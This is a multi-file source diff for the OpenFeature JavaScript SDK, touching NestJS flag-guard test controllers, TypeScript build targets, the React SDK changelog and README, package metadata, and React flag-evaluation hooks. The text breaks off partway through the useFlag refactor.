import { Client, OpenFeature } from '@openfeature/server-sdk';
import type { Client} from '@openfeature/server-sdk';
import { OpenFeature } from '@openfeature/server-sdk';
import { getOpenFeatureDefaultTestModule } from './fixtures';
describe('OpenFeatureModule', () => {

View File

@ -1,7 +1,15 @@
import { Controller, Get, Injectable, UseInterceptors } from '@nestjs/common';
import { Observable, map } from 'rxjs';
import { BooleanFeatureFlag, ObjectFeatureFlag, NumberFeatureFlag, OpenFeatureClient, StringFeatureFlag } from '../src';
import { Client, EvaluationDetails, FlagValue } from '@openfeature/server-sdk';
import { Controller, ForbiddenException, Get, Injectable, UseInterceptors } from '@nestjs/common';
import type { Observable } from 'rxjs';
import { map } from 'rxjs';
import {
BooleanFeatureFlag,
ObjectFeatureFlag,
NumberFeatureFlag,
OpenFeatureClient,
StringFeatureFlag,
RequireFlagsEnabled,
} from '../src';
import type { Client, EvaluationDetails, FlagValue } from '@openfeature/server-sdk';
import { EvaluationContextInterceptor } from '../src';
@Injectable()
@ -83,11 +91,40 @@ export class OpenFeatureController {
public async handleDynamicContextInServiceRequest() {
return this.testService.serviceMethodWithDynamicContext('testBooleanFlag');
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag' }],
})
@Get('/flags-enabled')
public async handleGuardedBooleanRequest() {
return 'Get Boolean Flag Success!';
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag' }],
exception: new ForbiddenException(),
})
@Get('/flags-enabled-custom-exception')
public async handleBooleanRequestWithCustomException() {
return 'Get Boolean Flag Success!';
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag2' }],
exception: new ForbiddenException(),
context: {
targetingKey: 'user-id',
},
})
@Get('/flags-enabled-custom-exception-with-context')
public async handleBooleanRequestWithCustomExceptionAndContext() {
return 'Get Boolean Flag Success!';
}
}
@Controller()
@UseInterceptors(EvaluationContextInterceptor)
export class OpenFeatureControllerContextScopedController {
export class OpenFeatureContextScopedController {
constructor(private testService: OpenFeatureTestService) {}
@Get('/controller-context')
@ -100,4 +137,27 @@ export class OpenFeatureControllerContextScopedController {
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag' }],
domain: 'domainScopedClient',
})
@Get('/controller-context/flags-enabled')
public async handleBooleanRequest() {
return 'Get Boolean Flag Success!';
}
}
@Controller('require-flags-enabled')
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag', defaultValue: false }, { flagKey: 'testBooleanFlag2' }],
exception: new ForbiddenException(),
})
export class OpenFeatureRequireFlagsEnabledController {
constructor() {}
@Get('/')
public async handleGetRequest() {
return 'Hello, world!';
}
}

View File

@ -9,10 +9,10 @@
// "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */
// "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */
/* Language and Environment */
"target": "ES2022",
"target": "ES2015",
/* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */
"lib": [
"ES2022"
"ES2015"
],
/* Specify a set of bundled library declaration files that describe the target runtime environment. */
// "jsx": "preserve", /* Specify what JSX code is generated. */
@ -27,7 +27,7 @@
// "noLib": true, /* Disable including any library files, including the default lib.d.ts. */
// "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */
/* Modules */
"module": "ES2022",
"module": "ES2015",
/* Specify what module code is generated. */
// "rootDir": "./", /* Specify the root folder within your source files. */
"moduleResolution": "node",

View File

@ -1,5 +1,130 @@
# Changelog
## [1.0.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v1.0.0...react-sdk-v1.0.1) (2025-08-18)
### 🐛 Bug Fixes
* **react:** re-evaluate flags on re-render to detect silent provider … ([#1226](https://github.com/open-feature/js-sdk/issues/1226)) ([3105595](https://github.com/open-feature/js-sdk/commit/31055959265a53f52102590f54fa3168811ec678))
## [1.0.0](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.11...react-sdk-v1.0.0) (2025-04-14)
### ✨ New Features
* add polyfill for react use hook ([#1157](https://github.com/open-feature/js-sdk/issues/1157)) ([5afe61f](https://github.com/open-feature/js-sdk/commit/5afe61f9e351b037b04c93a1d81aee8016756748))
* add support for abort controllers to event handlers ([#1151](https://github.com/open-feature/js-sdk/issues/1151)) ([6a22483](https://github.com/open-feature/js-sdk/commit/6a224830fa4e62fc30a7802536f6f6fc3f772038))
## [0.4.11](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.10...react-sdk-v0.4.11) (2025-02-07)
### ✨ New Features
* export useOpenFeatureClientStatus hook ([#1082](https://github.com/open-feature/js-sdk/issues/1082)) ([4a6b860](https://github.com/open-feature/js-sdk/commit/4a6b8605444edeaf43355713357fecb97dd850b6))
### 🧹 Chore
* update sdk peer ([#1142](https://github.com/open-feature/js-sdk/issues/1142)) ([8bb6206](https://github.com/open-feature/js-sdk/commit/8bb620601e2b8dc7b62d717169b585bd1c886996))
## [0.4.10](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.9...react-sdk-v0.4.10) (2024-12-18)
### 🔄 Refactoring
* export public option types ([#1101](https://github.com/open-feature/js-sdk/issues/1101)) ([16321c3](https://github.com/open-feature/js-sdk/commit/16321c31f27c5fce2c8e2adea893cf6e7e8ce3de))
## [0.4.9](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.8...react-sdk-v0.4.9) (2024-12-04)
### ✨ New Features
* re-render if flagsChanged is falsy ([#1095](https://github.com/open-feature/js-sdk/issues/1095)) ([78516f4](https://github.com/open-feature/js-sdk/commit/78516f4181c82baf8c42fd64798fc2cfd8ff1056))
### 📚 Documentation
* fix typos, links, and format ([#1075](https://github.com/open-feature/js-sdk/issues/1075)) ([418409e](https://github.com/open-feature/js-sdk/commit/418409e3faafc6868a9f893267a4733db9931f93))
## [0.4.8](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.7...react-sdk-v0.4.8) (2024-10-29)
### 🧹 Chore
* bump minimum web peer ([#1072](https://github.com/open-feature/js-sdk/issues/1072)) ([eca8205](https://github.com/open-feature/js-sdk/commit/eca8205da7945395d19c09a4da67cd4c2d516227))
### 📚 Documentation
* add tracking sections ([#1068](https://github.com/open-feature/js-sdk/issues/1068)) ([e131faf](https://github.com/open-feature/js-sdk/commit/e131faffad9025e9c7194f39558bf3b3cec31807))
## [0.4.7](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.6...react-sdk-v0.4.7) (2024-10-29)
### ✨ New Features
* avoid re-resolving flags unaffected by a change event ([#1024](https://github.com/open-feature/js-sdk/issues/1024)) ([b8f9b4e](https://github.com/open-feature/js-sdk/commit/b8f9b4ebaf4bdd93669fc6da09d9f97a498174d9))
* implement tracking as per spec ([#1020](https://github.com/open-feature/js-sdk/issues/1020)) ([80f182e](https://github.com/open-feature/js-sdk/commit/80f182e1afbd3a705bf3de6a0d9886ccb3424b44))
* use mutate context hook ([#1031](https://github.com/open-feature/js-sdk/issues/1031)) ([ec3d967](https://github.com/open-feature/js-sdk/commit/ec3d967f8b9dd0854706a904a5360f0a0b843595))
### 🧹 Chore
* add js docs for context mutator hook ([#1045](https://github.com/open-feature/js-sdk/issues/1045)) ([def3fe8](https://github.com/open-feature/js-sdk/commit/def3fe8dafc3d6ed3451a493e76842b7d2e8363c))
* import type lint rule and fixes ([#1039](https://github.com/open-feature/js-sdk/issues/1039)) ([01fcb93](https://github.com/open-feature/js-sdk/commit/01fcb933d2cbd131a0f4a005173cdd1906087e18))
## [0.4.6](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.5...react-sdk-v0.4.6) (2024-09-23)
### 🐛 Bug Fixes
* failure to re-render on changes ([#1021](https://github.com/open-feature/js-sdk/issues/1021)) ([c927044](https://github.com/open-feature/js-sdk/commit/c927044c4934f0b8edfd2cdbbc0d60ad546b3dbc))
## [0.4.5](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.4...react-sdk-v0.4.5) (2024-09-04)
### ✨ New Features
* **react:** prevent rerenders when value is unchanged ([#987](https://github.com/open-feature/js-sdk/issues/987)) ([b7fc08e](https://github.com/open-feature/js-sdk/commit/b7fc08e27d225bdbf72c1985e7eef85adcd896b0))
## [0.4.4](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.3...react-sdk-v0.4.4) (2024-08-28)
### 🧹 Chore
* move client/ dir to web/ ([#991](https://github.com/open-feature/js-sdk/issues/991)) ([df4e72e](https://github.com/open-feature/js-sdk/commit/df4e72eabc3370801303470ca37263a0d4d9bb38))
### 📚 Documentation
* **react:** update the error message ([#978](https://github.com/open-feature/js-sdk/issues/978)) ([429c4ae](https://github.com/open-feature/js-sdk/commit/429c4ae941b66a1aa82b5aeea4bdb8b57bd05022))
## [0.4.3](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.2...react-sdk-v0.4.3) (2024-08-22)
### 🐛 Bug Fixes
* race condition in test provider with suspense ([#980](https://github.com/open-feature/js-sdk/issues/980)) ([0f187fe](https://github.com/open-feature/js-sdk/commit/0f187fe0b584e66b6283531eb7879c320967f921))
### 🧹 Chore
* fix flaky test timing ([ad46ade](https://github.com/open-feature/js-sdk/commit/ad46ade143b10366103d4ac199d728e8ae5ba7e8))
## [0.4.2](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.1...react-sdk-v0.4.2) (2024-07-29)
### ✨ New Features
* add test provider ([#971](https://github.com/open-feature/js-sdk/issues/971)) ([1c12d4d](https://github.com/open-feature/js-sdk/commit/1c12d4d548195bfc8c2f898a90ea97063aa8b3f7))
## [0.4.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.0...react-sdk-v0.4.1) (2024-06-11)
### ✨ New Features
* lower compilation target to es2015 ([#957](https://github.com/open-feature/js-sdk/issues/957)) ([c2d6c17](https://github.com/open-feature/js-sdk/commit/c2d6c1761ae19f937deaff2f011a0380f8af7350))
## [0.4.0](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.4...react-sdk-v0.4.0) (2024-05-13)

View File

@ -16,8 +16,8 @@
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/react-sdk-v0.4.0">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v0.4.0&color=blue&style=for-the-badge" />
<a href="https://github.com/open-feature/js-sdk/releases/tag/react-sdk-v1.0.1">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v1.0.1&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
@ -54,6 +54,8 @@ In addition to the feature provided by the [web sdk](https://openfeature.dev/doc
- [Re-rendering with Context Changes](#re-rendering-with-context-changes)
- [Re-rendering with Flag Configuration Changes](#re-rendering-with-flag-configuration-changes)
- [Suspense Support](#suspense-support)
- [Tracking](#tracking)
- [Testing](#testing)
- [FAQ and troubleshooting](#faq-and-troubleshooting)
- [Resources](#resources)
@ -61,7 +63,7 @@ In addition to the feature provided by the [web sdk](https://openfeature.dev/doc
### Requirements
- ES2022-compatible web browser (Chrome, Edge, Firefox, etc)
- ES2015-compatible web browser (Chrome, Edge, Firefox, etc)
- React version 16.8+
### Install
@ -131,7 +133,7 @@ function App() {
#### Evaluation hooks
Within the provider, you can use the various evaluation hooks to evaluate flags.
Within the provider, you can use the various evaluation hooks to evaluate flags.
```tsx
function Page() {
@ -147,7 +149,7 @@ function Page() {
}
```
You can use the strongly-typed flag value and flag evaluation detail hooks as well, if you prefer.
You can use the strongly typed flag value and flag evaluation detail hooks as well if you prefer.
```tsx
import { useBooleanFlagValue } from '@openfeature/react-sdk';
@ -173,7 +175,7 @@ const {
Multiple providers can be used by passing a `domain` to the `OpenFeatureProvider`:
```tsx
// Flags within this domain will use the a client/provider associated with `my-domain`,
// Flags within this domain will use the client/provider associated with `my-domain`,
function App() {
return (
<OpenFeatureProvider domain={'my-domain'}>
@ -189,7 +191,7 @@ This is analogous to:
OpenFeature.getClient('my-domain');
```
For more information about `domains`, refer to the [web SDK](https://github.com/open-feature/js-sdk/blob/main/packages/client/README.md).
For more information about `domains`, refer to the [web SDK](https://github.com/open-feature/js-sdk/blob/main/packages/web/README.md).
#### Re-rendering with Context Changes
@ -231,16 +233,19 @@ function Page() {
}
```
Note that if your provider doesn't support updates, this configuration has no impact.
If your provider doesn't support updates, this configuration has no impact.
> [!NOTE]
> If your provider includes a list of [flags changed](https://open-feature.github.io/js-sdk/types/_openfeature_server_sdk.ConfigChangeEvent.html) in its `PROVIDER_CONFIGURATION_CHANGED` event, that list of flags is used to decide which flag evaluation hooks should re-run by diffing the latest value of these flags with the previous render.
> If your provider event does not the include the `flags changed` list, then the SDK diffs all flags with the previous render to determine which hooks should re-run.
#### Suspense Support
> [!NOTE]
> React suspense is an experimental feature and subject to change in future versions.
> [!NOTE]
> React suspense is an experimental feature and is subject to change in future versions.
Frequently, providers need to perform some initial startup tasks.
It may be desireable not to display components with feature flags until this is complete, or when the context changes.
It may be desirable not to display components with feature flags until this is complete or when the context changes.
Built-in [suspense](https://react.dev/reference/react/Suspense) support makes this easy.
Use `useSuspenseFlag` or pass `{ suspend: true }` in the hook options to leverage this functionality.
@ -273,33 +278,112 @@ function Fallback() {
// component to render before READY.
return <p>Waiting for provider to be ready...</p>;
}
```
This can be disabled in the hook options (or in the [OpenFeatureProvider](#openfeatureprovider-context-provider)).
#### Tracking
The tracking API allows you to use OpenFeature abstractions and objects to associate user actions with feature flag evaluations.
This is essential for robust experimentation powered by feature flags.
For example, a flag enhancing the appearance of a UI component might drive user engagement to a new feature; to test this hypothesis, telemetry collected by a [hook](https://openfeature.dev/docs/reference/technologies/client/web/#hooks) or [provider](https://openfeature.dev/docs/reference/technologies/client/web/#providers) can be associated with telemetry reported in the client's `track` function.
The React SDK includes a hook for firing tracking events in the `<OpenFeatureProvider>` context in use:
```tsx
function MyComponent() {
// get a tracking function for this <OpenFeatureProvider>.
const { track } = useTrack();
// call the tracking event
// can be done in render, useEffect, or in handlers, depending on your use case
track(eventName, trackingDetails);
return <>...</>;
}
```
### Testing
The React SDK includes a built-in context provider for testing.
This allows you to easily test components that use evaluation hooks, such as `useFlag`.
If you try to test a component (in this case, `MyComponent`) which uses an evaluation hook, you might see an error message like:
> No OpenFeature client available - components using OpenFeature must be wrapped with an `<OpenFeatureProvider>`.
You can resolve this by simply wrapping your component under test in the OpenFeatureTestProvider:
```tsx
// use default values for all evaluations
<OpenFeatureTestProvider>
<MyComponent />
</OpenFeatureTestProvider>
```
The basic configuration above will simply use the default value provided in code.
If you'd like to control the values returned by the evaluation hooks, you can pass a map of flag keys and values:
```tsx
// return `true` for all evaluations of `'my-boolean-flag'`
<OpenFeatureTestProvider flagValueMap={{ 'my-boolean-flag': true }}>
<MyComponent />
</OpenFeatureTestProvider>
```
Additionally, you can pass an artificial delay for the provider startup to test your suspense boundaries or loaders/spinners impacted by feature flags:
```tsx
// delay the provider start by 1000ms and then return `true` for all evaluations of `'my-boolean-flag'`
<OpenFeatureTestProvider delayMs={1000} flagValueMap={{ 'my-boolean-flag': true }}>
<MyComponent />
</OpenFeatureTestProvider>
```
For maximum control, you can also pass your own mock provider implementation.
The type of this option is `Partial<Provider>`, so you can pass an incomplete implementation:
```tsx
class MyTestProvider implements Partial<Provider> {
// implement the relevant resolver
resolveBooleanEvaluation(): ResolutionDetails<boolean> {
return {
value: true,
variant: 'my-variant',
reason: 'MY_REASON',
};
}
}
```
```tsx
// use your custom testing provider
<OpenFeatureTestProvider provider={new MyTestProvider()}>
<MyComponent />
</OpenFeatureTestProvider>,
```
## FAQ and troubleshooting
> I get an error that says something like: `A React component suspended while rendering, but no fallback UI was specified.`
The OpenFeature React SDK features built-in [suspense support](#suspense-support).
This means that it will render your loading fallback automatically while the your provider starts up, and during context reconciliation for any of your components using feature flags!
This means that it will render your loading fallback automatically while your provider starts up and during context reconciliation for any of your components using feature flags!
If you use suspense and neglect to create a suspense boundary around any components using feature flags, you will see this error.
Add a suspense boundary to resolve this issue.
Alternatively, you can disable this suspense (the default) by removing `suspendWhileReconciling=true`, `suspendUntilReady=true` or `suspend=true` in the [evaluation hooks](#evaluation-hooks) or the [OpenFeatureProvider](#openfeatureprovider-context-provider) (which applies to all evaluation hooks in child components).
> I get odd rendering issues, or errors when components mount, if I use the suspense features.
> I get odd rendering issues or errors when components mount if I use the suspense features.
In React 16/17's "Legacy Suspense", when a component suspends, its sibling components initially mount and then are hidden.
This can cause surprising effects and inconsistencies if sibling components are rendered while the provider is still getting ready.
To fix this, you can upgrade to React 18, which uses "Concurrent Suspense", in which siblings are not mounted until their suspended sibling resolves.
Alternatively, if you cannot upgrade to React 18, you can use the `useWhenProviderReady` utility hook in any sibling components to prevent them from mounting until the provider is ready.
> I am using multiple `OpenFeatureProvider` contexts, but they are sharing the same provider or evaluation context. Why?
> I am using multiple `OpenFeatureProvider` contexts, but they share the same provider or evaluation context. Why?
The `OpenFeatureProvider` binds a `client` to all child components, but the provider and context associated with that client is controlled by the `domain` parameter.
This is consistent with all OpenFeature SDKs.
To scope an OpenFeatureProvider to a particular provider/context set the `domain` parameter on your `OpenFeatureProvider`:
To scope an OpenFeatureProvider to a particular provider/context, set the `domain` parameter on your `OpenFeatureProvider`:
```tsx
<OpenFeatureProvider domain={'my-domain'}>
@ -309,7 +393,7 @@ To scope an OpenFeatureProvider to a particular provider/context set the `domain
> I can import things form the `@openfeature/react-sdk`, `@openfeature/web-sdk`, and `@openfeature/core`; which should I use?
The `@openfeature/react-sdk` re-exports everything from its peers (`@openfeature/web-sdk` and `@openfeature/core`), and adds the React-specific features.
The `@openfeature/react-sdk` re-exports everything from its peers (`@openfeature/web-sdk` and `@openfeature/core`) and adds the React-specific features.
You can import everything from the `@openfeature/react-sdk` directly.
Avoid importing anything from `@openfeature/web-sdk` or `@openfeature/core`.

View File

@ -1,6 +1,6 @@
{
"name": "@openfeature/react-sdk",
"version": "0.4.0",
"version": "1.0.1",
"description": "OpenFeature React SDK",
"main": "./dist/cjs/index.js",
"files": [
@ -16,9 +16,10 @@
"scripts": {
"test": "jest --verbose",
"lint": "eslint ./",
"lint:fix": "eslint ./ --fix",
"clean": "shx rm -rf ./dist",
"build:react-esm": "esbuild src/index.ts --bundle --external:react --external:@openfeature/web-sdk --sourcemap --target=es2022 --platform=browser --format=esm --outfile=./dist/esm/index.js --analyze",
"build:react-cjs": "esbuild src/index.ts --bundle --external:react --external:@openfeature/web-sdk --sourcemap --target=es2022 --platform=browser --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:react-esm": "esbuild src/index.ts --bundle --external:react --external:@openfeature/web-sdk --sourcemap --target=es2015 --platform=browser --format=esm --outfile=./dist/esm/index.js --analyze",
"build:react-cjs": "esbuild src/index.ts --bundle --external:react --external:@openfeature/web-sdk --sourcemap --target=es2015 --platform=browser --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:rollup-types": "rollup -c ../../rollup.config.mjs",
"build": "npm run clean && npm run build:react-esm && npm run build:react-cjs && npm run build:rollup-types",
"postbuild": "shx cp ./../../package.esm.json ./dist/esm/package.json",
@ -46,7 +47,7 @@
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"peerDependencies": {
"@openfeature/web-sdk": "^1.0.2",
"@openfeature/web-sdk": "^1.5.0",
"react": ">=16.8.0"
},
"devDependencies": {

View File

@ -1,83 +0,0 @@
import { FlagEvaluationOptions } from '@openfeature/web-sdk';
export type ReactFlagEvaluationOptions = ({
/**
* Enable or disable all suspense functionality.
* Cannot be used in conjunction with `suspendUntilReady` and `suspendWhileReconciling` options.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspend?: boolean;
suspendUntilReady?: never;
suspendWhileReconciling?: never;
} | {
/**
* Suspend flag evaluations while the provider is not ready.
* Set to false if you don't want to show suspense fallbacks until the provider is initialized.
* Defaults to false.
* Cannot be used in conjunction with `suspend` option.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspendUntilReady?: boolean;
/**
* Suspend flag evaluations while the provider's context is being reconciled.
* Set to true if you want to show suspense fallbacks while flags are re-evaluated after context changes.
* Defaults to false.
* Cannot be used in conjunction with `suspend` option.
* @experimental Suspense is an experimental feature subject to change in future versions.
*/
suspendWhileReconciling?: boolean;
suspend?: never;
}) & {
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
updateOnConfigurationChanged?: boolean;
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
updateOnContextChanged?: boolean;
} & FlagEvaluationOptions;
export type NormalizedOptions = Omit<ReactFlagEvaluationOptions, 'suspend'>;
/**
* Default options.
* DO NOT EXPORT PUBLICLY
* @internal
*/
export const DEFAULT_OPTIONS: ReactFlagEvaluationOptions = {
updateOnContextChanged: true,
updateOnConfigurationChanged: true,
suspendUntilReady: false,
suspendWhileReconciling: false,
};
/**
* Returns normalization options (all `undefined` fields removed, and `suspend` decomposed to `suspendUntilReady` and `suspendWhileReconciling`).
* DO NOT EXPORT PUBLICLY
* @internal
* @param {ReactFlagEvaluationOptions} options options to normalize
* @returns {NormalizedOptions} normalized options
*/
export const normalizeOptions: (options?: ReactFlagEvaluationOptions) => NormalizedOptions = (options: ReactFlagEvaluationOptions = {}) => {
const updateOnContextChanged = options.updateOnContextChanged;
const updateOnConfigurationChanged = options.updateOnConfigurationChanged;
// fall-back the suspense options to the catch-all `suspend` property
const suspendUntilReady = 'suspendUntilReady' in options ? options.suspendUntilReady : options.suspend;
const suspendWhileReconciling = 'suspendWhileReconciling' in options ? options.suspendWhileReconciling : options.suspend;
return {
// only return these if properly set (no undefined to allow overriding with spread)
...(typeof suspendUntilReady === 'boolean' && {suspendUntilReady}),
...(typeof suspendWhileReconciling === 'boolean' && {suspendWhileReconciling}),
...(typeof updateOnContextChanged === 'boolean' && {updateOnContextChanged}),
...(typeof updateOnConfigurationChanged === 'boolean' && {updateOnConfigurationChanged}),
};
};

View File

@ -1,20 +0,0 @@
import { Client, ProviderEvents } from '@openfeature/web-sdk';
/**
* Suspends until the client is ready to evaluate feature flags.
* DO NOT EXPORT PUBLICLY
* @param {Client} client OpenFeature client
*/
export function suspendUntilReady(client: Client): Promise<void> {
let resolve: (value: unknown) => void;
let reject: () => void;
throw new Promise((_resolve, _reject) => {
resolve = _resolve;
reject = _reject;
client.addHandler(ProviderEvents.Ready, resolve);
client.addHandler(ProviderEvents.Error, reject);
}).finally(() => {
client.removeHandler(ProviderEvents.Ready, resolve);
client.removeHandler(ProviderEvents.Ready, reject);
});
}

View File

@ -0,0 +1 @@
export * from './use-context-mutator';

View File

@ -0,0 +1,51 @@
import { useCallback, useContext, useRef } from 'react';
import type { EvaluationContext } from '@openfeature/web-sdk';
import { OpenFeature } from '@openfeature/web-sdk';
import { Context } from '../internal';
export type ContextMutationOptions = {
/**
* Mutate the default context instead of the domain scoped context applied at the `<OpenFeatureProvider/>`.
* Note, if the `<OpenFeatureProvider/>` has no domain specified, the default is used.
* See the {@link https://openfeature.dev/docs/reference/technologies/client/web/#manage-evaluation-context-for-domains|documentation} for more information.
* @default false
*/
defaultContext?: boolean;
};
export type ContextMutation = {
/**
* Context-aware function to set the desired context (see: {@link ContextMutationOptions} for details).
* There's generally no need to await the result of this function; flag evaluation hooks will re-render when the context is updated.
* This promise never rejects.
* @param updatedContext
* @returns Promise for awaiting the context update
*/
setContext: (updatedContext: EvaluationContext) => Promise<void>;
};
/**
* Get context-aware tracking function(s) for mutating the evaluation context associated with this domain, or the default context if `defaultContext: true`.
* See the {@link https://openfeature.dev/docs/reference/technologies/client/web/#targeting-and-context|documentation} for more information.
* @param {ContextMutationOptions} options options for the generated function
* @returns {ContextMutation} context-aware function(s) to mutate evaluation context
*/
export function useContextMutator(options: ContextMutationOptions = { defaultContext: false }): ContextMutation {
const { domain } = useContext(Context) || {};
const previousContext = useRef<null | EvaluationContext>(null);
const setContext = useCallback(async (updatedContext: EvaluationContext) => {
if (previousContext.current !== updatedContext) {
if (!domain || options?.defaultContext) {
OpenFeature.setContext(updatedContext);
} else {
OpenFeature.setContext(domain, updatedContext);
}
previousContext.current = updatedContext;
}
}, [domain]);
return {
setContext,
};
}

View File

@ -1,20 +1,28 @@
import {
import type {
Client,
ClientProviderEvents,
EvaluationDetails,
EventHandler,
FlagEvaluationOptions,
FlagValue,
JsonValue,
ProviderEvents,
ProviderStatus,
} from '@openfeature/web-sdk';
import { useEffect, useState } from 'react';
import { DEFAULT_OPTIONS, ReactFlagEvaluationOptions, normalizeOptions } from '../common/options';
import { suspendUntilReady } from '../common/suspense';
import { useProviderOptions } from '../provider/context';
import { ProviderEvents, ProviderStatus } from '@openfeature/web-sdk';
import { useCallback, useEffect, useRef, useState } from 'react';
import {
DEFAULT_OPTIONS,
isEqual,
normalizeOptions,
suspendUntilInitialized,
suspendUntilReconciled,
useProviderOptions,
} from '../internal';
import type { ReactFlagEvaluationNoSuspenseOptions, ReactFlagEvaluationOptions } from '../options';
import { useOpenFeatureClient } from '../provider/use-open-feature-client';
import { useOpenFeatureClientStatus } from '../provider/use-open-feature-client-status';
import { FlagQuery } from '../query';
import { HookFlagQuery } from './hook-flag-query';
import { useOpenFeatureProvider } from '../provider/use-open-feature-provider';
import type { FlagQuery } from '../query';
import { HookFlagQuery } from '../internal/hook-flag-query';
// This type is a bit wild-looking, but I think we need it.
// We have to use the conditional, because otherwise useFlag('key', false) would return false, not boolean (too constrained).
@ -31,9 +39,6 @@ type ConstrainedFlagQuery<T> = FlagQuery<
: JsonValue
>;
// suspense options removed for the useSuspenseFlag hooks
type NoSuspenseOptions = Omit<ReactFlagEvaluationOptions, 'suspend' | 'suspendUntilReady' | 'suspendWhileReconciling'>
/**
* Evaluates a feature flag generically, returning an react-flavored queryable object.
* The resolver method to use is based on the type of the defaultValue.
@ -50,15 +55,15 @@ export function useFlag<T extends FlagValue = FlagValue>(
defaultValue: T,
options?: ReactFlagEvaluationOptions,
): FlagQuery<
T extends boolean
? boolean
: T extends number
? number
: T extends string
? string
: T extends JsonValue
? T
: JsonValue
T extends boolean
? boolean
: T extends number
? number
: T extends string
? string
: T extends JsonValue
? T
: JsonValue
> {
// use the default value to determine the resolver to call
const query =
@ -74,7 +79,7 @@ T extends boolean
}
// alias to the return value of useFlag, used to keep useSuspenseFlag consistent
type UseFlagReturn<T extends FlagValue> = ReturnType<typeof useFlag<T>>
type UseFlagReturn<T extends FlagValue> = ReturnType<typeof useFlag<T>>;
/**
* Equivalent to {@link useFlag} with `options: { suspend: true }`
@ -82,13 +87,13 @@ type UseFlagReturn<T extends FlagValue> = ReturnType<typeof useFlag<T>>
* @param {string} flagKey the flag identifier
* @template {FlagValue} T A optional generic argument constraining the default.
* @param {T} defaultValue the default value; used to determine what resolved type should be used.
* @param {NoSuspenseOptions} options for this evaluation
* @param {ReactFlagEvaluationNoSuspenseOptions} options for this evaluation
* @returns { UseFlagReturn<T> } a queryable object containing useful information about the flag.
*/
export function useSuspenseFlag<T extends FlagValue = FlagValue>(
flagKey: string,
defaultValue: T,
options?: NoSuspenseOptions,
options?: ReactFlagEvaluationNoSuspenseOptions,
): UseFlagReturn<T> {
return useFlag(flagKey, defaultValue, { ...options, suspendUntilReady: true, suspendWhileReconciling: true });
}
@ -263,61 +268,110 @@ export function useObjectFlagDetails<T extends JsonValue = JsonValue>(
);
}
// determines if a flag should be re-evaluated based on a list of changed flags
function shouldEvaluateFlag(flagKey: string, flagsChanged?: string[]): boolean {
// if flagsChange is missing entirely, we don't know what to re-render
return !flagsChanged || flagsChanged.includes(flagKey);
}
function attachHandlersAndResolve<T extends FlagValue>(
flagKey: string,
defaultValue: T,
resolver: (client: Client) => (flagKey: string, defaultValue: T, options?: FlagEvaluationOptions) => EvaluationDetails<T>,
resolver: (
client: Client,
) => (flagKey: string, defaultValue: T, options?: FlagEvaluationOptions) => EvaluationDetails<T>,
options?: ReactFlagEvaluationOptions,
): EvaluationDetails<T> {
// highest priority > evaluation hook options > provider options > default options > lowest priority
const defaultedOptions = { ...DEFAULT_OPTIONS, ...useProviderOptions(), ...normalizeOptions(options) };
const client = useOpenFeatureClient();
const status = useOpenFeatureClientStatus();
const provider = useOpenFeatureProvider();
const isFirstRender = useRef(true);
// suspense
if (defaultedOptions.suspendUntilReady && status === ProviderStatus.NOT_READY) {
suspendUntilReady(client);
suspendUntilInitialized(provider, client);
}
if (defaultedOptions.suspendWhileReconciling && status === ProviderStatus.RECONCILING) {
suspendUntilReady(client);
suspendUntilReconciled(client);
}
const [evalutationDetails, setEvaluationDetails] = useState<EvaluationDetails<T>>(
const [evaluationDetails, setEvaluationDetails] = useState<EvaluationDetails<T>>(() =>
resolver(client).call(client, flagKey, defaultValue, options),
);
// Re-evaluate when dependencies change (handles prop changes like flagKey), or if during a re-render, we have detected a change in the evaluated value
useEffect(() => {
if (isFirstRender.current) {
isFirstRender.current = false;
return;
}
const newDetails = resolver(client).call(client, flagKey, defaultValue, options);
if (!isEqual(newDetails.value, evaluationDetails.value)) {
setEvaluationDetails(newDetails);
}
}, [client, flagKey, defaultValue, options, resolver, evaluationDetails]);
const updateEvaluationDetailsRef = () => {
setEvaluationDetails(resolver(client).call(client, flagKey, defaultValue, options));
};
// Maintain a mutable reference to the evaluation details to have a up-to-date reference in the handlers.
const evaluationDetailsRef = useRef<EvaluationDetails<T>>(evaluationDetails);
useEffect(() => {
evaluationDetailsRef.current = evaluationDetails;
}, [evaluationDetails]);
const updateEvaluationDetailsCallback = useCallback(() => {
